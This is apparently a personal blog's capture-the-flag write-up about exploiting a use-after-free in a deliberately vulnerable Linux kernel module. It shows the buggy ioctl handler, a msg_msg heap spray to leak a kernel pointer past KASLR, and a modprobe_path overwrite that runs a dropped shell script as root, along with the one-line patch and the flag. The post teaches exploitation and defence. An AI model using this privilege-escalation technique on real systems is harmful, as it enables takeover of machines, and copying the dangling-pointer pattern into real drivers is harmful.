algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

a slab use-after-free, from ioctl to root

2026-02-14updated 2026-02-164 min readkernel pwn linux

kctl.ko — "a configurable kernel control device. perfectly safe, we promise." You get the module, a stripped bzImage, and an unprivileged shell.

The first thing I want from a kernel target is the same checklist as userland, just with different acronyms:

targetkctl.ko
arch
x86_64
kernel
6.1.0 #1 SMP
object
kmalloc-1024
  • SMEPon
  • SMAPon
  • KASLRon
  • KPTIon

SMEP/SMAP mean no jumping to or reading from userland pages in ring 0 — so the old ret2usr is dead and the payload has to live in kernel memory. KASLR wants a leak. KPTI mostly just complicates the return-to-userland at the end. None of it matters if the bug hands me a write where I already know the target.

the bug#

The driver multiplexes three ioctls over a single global pointer:

kctl.c — ioctl handlerc
static void *obj;            // global, kmalloc-1024

static long kctl_ioctl(struct file *f, unsigned cmd, unsigned long arg)
{
    switch (cmd) {
    case KCTL_ALLOC:
        obj = kmalloc(1024, GFP_KERNEL);
        return obj ? 0 : -ENOMEM;
    case KCTL_WRITE:
        return copy_from_user(obj, (void __user *)arg, 1024);
    case KCTL_READ:
        return copy_to_user((void __user *)arg, obj, 1024);
    case KCTL_FREE:
        kfree(obj);          // ... but obj is never set to NULL
        return 0;            // dangling pointer, fully usable
    }
    return -EINVAL;
}

KCTL_FREE releases the allocation but leaves obj pointing at the freed slot. KCTL_READ and KCTL_WRITE still dereference it. That's a use-after-free with both a read and a write primitive — the comfortable kind.

obj
the freed kmalloc-1024 slot. After KCTL_FREE the allocator considers it free; the driver still happily reads and writes 1024 bytes through it.

reclaim and leak#

The plan is textbook: free obj, then spray a kernel object of the same size class so the allocator hands the freed slot back as something interesting. System V messages (msg_msg) are the classic kmalloc-1024 filler — attacker-sized, attacker-timed, and they carry a kernel pointer in the header.

leak.c — reclaim with msg_msgc
1
2
3
4
5
6
7
8
9
ioctl(fd, KCTL_ALLOC, 0);
ioctl(fd, KCTL_FREE, 0);                 // obj now dangling

for (int i = 0; i < 64; i++)             // spray into the hole
    msgsnd(qid[i], &(struct { long t; char b[1016]; }){1, {0}}, 1016, 0);

char leak[1024];
ioctl(fd, KCTL_READ, leak);              // read the msg_msg header back
unsigned long kbase = *(unsigned long *)(leak + 8) - 0x1a3e00;

The m_list.next field in the reclaimed header is a pointer into the kernel image; subtract its known offset and KASLR is gone. Here's the dump of the reclaimed slot, with the leaked pointer called out:

KCTL_READ of the reclaimed slothex
00000000  01 00 00 00 00 00 00 00  00 3e 1a 81 ff ff ff ff  |.........>......|
00000010  00 00 00 00 00 00 00 00  f8 02 00 00 00 00 00 00  |................|

The freed slot sits at a fixed stride inside its slab page; for a 1024-byte object that's 4096/1024=4 objects per page, so the spray only needs to win one of four slots to land — hence 64 messages, not two.

write → root#

With KASLR defeated I know where modprobe_path lives. It's the laziest kernel win there is: a writable global holding the path the kernel execs when it hits an unknown binary format. Overwrite it through the dangling KCTL_WRITE, trigger it with a junk binary, and my script runs as root.

SMAP doesn't save them here

SMAP stops the kernel reading my userland buffer mid-exploit — but every byte I need is already in kernel memory (the spray) or written by a legitimate copy_from_user. The mitigation is on and irrelevant; the bug never crosses the boundary it guards.

root.c — overwrite modprobe_pathc
unsigned long modprobe = kbase + MODPROBE_PATH_OFF;   // resolved from the leak

// drop the payload + a file with a bogus magic to trigger the modprobe call
system("echo -e '#!/bin/sh\\ncp /flag /tmp/f; chmod 777 /tmp/f' > /tmp/x; chmod +x /tmp/x");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/trigger; chmod +x /tmp/trigger");

// the dangling write still lands in the freed slot; point modprobe_path at /tmp/x
char buf[14];
strcpy(buf, "/tmp/x");
arbitrary_write(modprobe, buf, sizeof("/tmp/x"));     // via a second reclaim of obj

system("/tmp/trigger");                               // unknown binfmt -> runs /tmp/x as root

The fix is one line — the line the author left out:

the patchdiff
1
2
3
4
     case KCTL_FREE:
         kfree(obj);
+        obj = NULL;
         return 0;
the flag

/tmp/f is the copied, world-readable flag once the trigger fires: segfault{us3_4ft3r_fr33_st1ll_w0rks_1n_2026}. No ROP, no stack pivot — a dangling pointer and one well-known global.